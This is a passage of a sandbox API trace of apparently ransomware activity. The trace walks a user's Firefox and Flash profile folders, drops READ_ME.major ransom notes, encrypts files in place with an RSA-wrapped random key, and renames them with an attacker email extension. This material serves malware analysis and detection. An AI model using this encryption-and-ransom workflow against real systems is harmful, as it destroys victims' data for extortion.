[0250.624] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31e20 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] GetLastError () returned 0x12 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] GetLastError () returned 0x12 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] FindNextFileW (in: hFindFile=0x2f31e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x484819a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] GetLastError () returned 0x12 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] GetLastError () returned 0x12 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] FindNextFileW (in: hFindFile=0x2f31e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484819a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484819a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] GetLastError () returned 0x12 [0250.625] SetLastError (dwErrCode=0x12) [0250.625] SetLastError (dwErrCode=0x12) [0250.626] FindNextFileW (in: hFindFile=0x2f31e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sys", cAlternateFileName="")) returned 1 [0250.626] SetLastError (dwErrCode=0x12) [0250.626] GetLastError () returned 0x12 [0250.626] SetLastError (dwErrCode=0x12) [0250.626] GetLastError () returned 0x12 [0250.626] SetLastError (dwErrCode=0x12) [0250.626] SetLastError (dwErrCode=0x12) [0250.626] GetLastError () returned 0x12 [0250.626] SetLastError (dwErrCode=0x12) [0250.626] SetLastError (dwErrCode=0x12) [0250.626] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b54 [0250.627] WriteFile (in: hFile=0x1b54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.628] CloseHandle (hObject=0x1b54) returned 1 [0250.628] FindNextFileW (in: hFindFile=0x2f31e20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sys", cAlternateFileName="")) returned 0 [0250.628] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31da0 [0250.628] SetLastError (dwErrCode=0x12) [0250.628] GetLastError () returned 0x12 [0250.628] SetLastError (dwErrCode=0x12) [0250.628] GetLastError () returned 0x12 [0250.628] SetLastError (dwErrCode=0x12) [0250.628] FindNextFileW (in: hFindFile=0x2f31da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] GetLastError () returned 0x12 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] GetLastError () returned 0x12 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] FindNextFileW (in: hFindFile=0x2f31da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7bd6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484a7bd6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] GetLastError () returned 0x12 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] SetLastError (dwErrCode=0x12) [0250.629] FindNextFileW (in: hFindFile=0x2f31da0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7bd6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484a7bd6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0250.629] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31de0 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] GetLastError () returned 0x12 [0250.629] SetLastError (dwErrCode=0x12) [0250.629] GetLastError () returned 0x12 [0250.629] SetLastError (dwErrCode=0x12) [0250.630] FindNextFileW (in: hFindFile=0x2f31de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] GetLastError () returned 0x12 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] GetLastError () returned 0x12 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] FindNextFileW (in: hFindFile=0x2f31de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="events", cAlternateFileName="")) returned 1 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] GetLastError () returned 0x12 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] GetLastError () returned 0x12 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] SetLastError (dwErrCode=0x12) [0250.630] GetLastError () returned 0x12 [0250.630] SetLastError (dwErrCode=0x12) [0250.630] SetLastError (dwErrCode=0x12) [0250.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\events\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\events\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b5c [0250.631] WriteFile (in: hFile=0x1b5c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.632] CloseHandle (hObject=0x1b5c) returned 1 [0250.632] FindNextFileW (in: hFindFile=0x2f31de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7bd6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x484a7bd6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x484a7bd6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.632] SetLastError (dwErrCode=0x0) [0250.632] GetLastError () returned 0x0 [0250.632] SetLastError (dwErrCode=0x0) [0250.632] GetLastError () returned 0x0 [0250.632] SetLastError (dwErrCode=0x0) [0250.632] FindNextFileW (in: hFindFile=0x2f31de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 1 [0250.632] SetLastError (dwErrCode=0x0) [0250.632] GetLastError () returned 0x0 [0250.632] SetLastError (dwErrCode=0x0) [0250.632] SetLastError (dwErrCode=0x0) [0250.632] FindNextFileW (in: hFindFile=0x2f31de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923a75e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="store.json.mozlz4", cAlternateFileName="STOREJ~1.MOZ")) returned 0 [0250.633] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.633] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4", dwFileAttributes=0x80) returned 1 [0250.633] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b5c [0250.633] GetFileSizeEx (in: hFile=0x1b5c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=66) returned 1 [0250.633] ReadFile (in: hFile=0x1b5c, lpBuffer=0x5bb4a0, nNumberOfBytesToRead=0x42, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bb4a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x42, lpOverlapped=0x0) returned 1 [0250.634] SetFilePointer (in: hFile=0x1b5c, lDistanceToMove=-66, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.634] WriteFile (in: hFile=0x1b5c, lpBuffer=0x5bb590*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bb590*, lpNumberOfBytesWritten=0x2e3f9b4*=0x42, lpOverlapped=0x0) returned 1 [0250.634] SetFilePointer (in: hFile=0x1b5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x42 [0250.635] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.635] WriteFile (in: hFile=0x1b5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.635] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.635] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.635] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.635] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oHaq6HCLzoKFf0pWLT5rKbHZDEETzK+AP6HF6mNjH7LyI8eIpThk4K2BcKTypDwq\n9cxOiLf64iLhotcPYKGbyZ1hGCl2nyvcqPUj0cnFhn/Cf3nhYYT134a9/ONJqYLE\n0MD7uiB60K6bWTni6RnSYcEY7MpexU0ZKE5Nn1F6gxgyNHQAZY4J4+S+GsIGHySj\nOvBBr1UxFgut2rUmjvYpAN9/QNqkjjfNZN6iJmU0dHsQmI31n+uIbtuxy7TDVbWq\n5Z0hpLo1XOaczYHVoRdryZxqjZjW6wl8qr/Jo6i+eHyC6cxnHPiwJWlXnKtinB+Z\njlMpYMUgpQKPm0KWySGTBQ==\n", pcchString=0x2e3f9a8) returned 1 [0250.635] WriteFile (in: hFile=0x1b5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0250.635] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.635] WriteFile (in: hFile=0x1b5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.635] CloseHandle (hObject=0x1b5c) returned 1 [0250.635] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\store.json.mozlz4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0250.637] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31e60 [0250.638] SetLastError (dwErrCode=0x0) [0250.638] GetLastError () returned 0x0 [0250.638] SetLastError (dwErrCode=0x0) [0250.638] GetLastError () returned 0x0 [0250.638] SetLastError (dwErrCode=0x0) [0250.638] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb844f993, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0250.638] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="archived", cAlternateFileName="")) returned 1 [0250.638] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b60 [0250.639] WriteFile (in: hFile=0x1b60, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0250.640] CloseHandle (hObject=0x1b60) returned 1 [0250.640] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b2b57, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x485b2b57, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x485b2b57, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0250.640] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5bba89, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d5bba89, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2d5bba89, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="session-state.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0250.640] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 1 [0250.640] FindNextFileW (in: hFindFile=0x2f31e60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 0 [0250.640] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0250.640] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json", dwFileAttributes=0x80) returned 1 [0250.641] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b60 [0250.642] GetFileSizeEx (in: hFile=0x1b60, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=51) returned 1 [0250.642] ReadFile (in: hFile=0x1b60, lpBuffer=0x2f31ea0, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31ea0*, lpNumberOfBytesRead=0x2e3f9b4*=0x33, lpOverlapped=0x0) returned 1 [0250.642] SetFilePointer (in: hFile=0x1b60, lDistanceToMove=-51, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.642] WriteFile (in: hFile=0x1b60, lpBuffer=0x2f31f20*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31f20*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33, lpOverlapped=0x0) returned 1 [0250.643] SetFilePointer (in: hFile=0x1b60, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33 [0250.643] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0250.643] WriteFile (in: hFile=0x1b60, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0250.643] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0250.643] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0250.643] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0250.643] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 